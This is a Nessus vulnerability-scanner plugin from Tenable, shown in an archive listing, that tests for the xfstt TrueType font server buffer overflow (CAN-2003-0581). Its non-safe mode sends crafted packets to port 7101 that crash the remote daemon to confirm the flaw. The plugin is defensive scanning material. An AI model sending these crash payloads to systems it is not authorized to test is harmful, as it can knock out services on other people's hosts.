home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / xfstt_overflow.nasl < prev    next >
Text File  |  2005-01-14  |  3KB  |  111 lines

  1. #
  2. #
  3. # (C) Tenable Network Security
  4. #
  5. #
  6. # Ref:
  7. #  Date: Tue, 15 Jul 2003 00:38:20 +0200
  8. #  From: ruben unteregger <ruben.unteregger@era-it.ch>
  9. #  To: bugtraq@securityfocus.com
  10. #  Subject: xfstt-1.4 vulnerability
  11.  
  12.  
  13. if(description)
  14. {
  15.  script_id(11814);
  16.  script_bugtraq_id(8182);
  17.  script_version ("$Revision: 1.6 $");
  18.  script_cve_id("CAN-2003-0581");
  19.  
  20.  name["english"] = "xfstt possible code execution";
  21.  
  22.  script_name(english:name["english"]);
  23.  
  24.  desc["english"] = "
  25. The remote X Font Service for TrueType (xfstt) is vulnerable to a 
  26. buffer overflow which may lead to code execution or a denial of service.
  27.  
  28. An attacker may use this flaw to gain root on this host remotely or
  29. to prevent X11 from working properly
  30.  
  31. Solution : Upgrade to the latest version of xfstt
  32. Risk factor : High";
  33.  
  34.  
  35.  
  36.  script_description(english:desc["english"]);
  37.  
  38.  summary["english"] = "Crashes the remote xfstt daemon";
  39.  
  40.  script_summary(english:summary["english"]);
  41.  
  42.  script_category(ACT_MIXED_ATTACK);
  43.  
  44.  
  45.  script_copyright(english:"This script is Copyright (C) 2003 Tenable Network Security");
  46.  family["english"] = "Gain root remotely"; 
  47.  
  48.  script_family(english:family["english"]);
  49.  script_require_ports(7101);
  50.  exit(0);
  51. }
  52.  
  53.  
  54. include("misc_func.inc");
  55.  
  56. kb = known_service(port:7101);
  57. if(kb && kb != "xfs")exit(0);
  58.  
  59.  
  60. port = 7101;
  61.  
  62. if(safe_checks())
  63. {
  64.  if(get_port_state(port))
  65.  {
  66.   soc = open_sock_tcp(port);
  67.   if(soc)
  68.   { 
  69.    close(soc);
  70.    report = "
  71. The remote X Font Service for TrueType (xfstt) might be vulnerable to a buffer
  72. overflow which may lead to code execution or a denial of service.
  73.  
  74. An attacker may use this flaw to gain root on this host
  75. remotely or prevent X11 from working properly.
  76.  
  77. *** Note that Nessus did not actually check for the flaw
  78. *** so this might be a false positive
  79.  
  80. Solution : Upgrade to the latest version of xfstt
  81. Risk factor : High";
  82.  
  83.    security_hole(port:port, data:report);
  84.   }
  85.  }
  86.  exit(0);
  87. }
  88.  
  89. if(!get_port_state(port))exit(0);
  90.  
  91. soc = open_sock_tcp(port);
  92. if(!soc)exit(0);
  93. send(socket:soc, data:raw_string('l', 0, 11, 0, 6, 0, 0, 0));
  94. r = recv(socket:soc, length:28);
  95. if(!r)exit(0);
  96. send(socket:soc, data:raw_string(17, 0, 8, 0) + raw_string(17) + crap(length:32, data:raw_string(0x00)));
  97. r = recv(socket:soc, length:16);
  98. if(strlen(r))
  99. {
  100.  close(soc);
  101.  soc = open_sock_tcp(port);
  102.  if(!soc)exit(0);
  103.  send(socket:soc, data:raw_string('l', 0, 11, 0, 6, 0, 0, 0));
  104.  
  105.  r = recv(socket:soc, length:28);
  106.  if(!r)exit(0);
  107.  send(socket:soc, data:raw_string(17, 0, 8, 0) + raw_string(17) + crap(length:32, data:raw_string(0x7F)));
  108.  r = recv(socket:soc, length:16);
  109.  if(!r)security_hole(port);
  110. }
  111.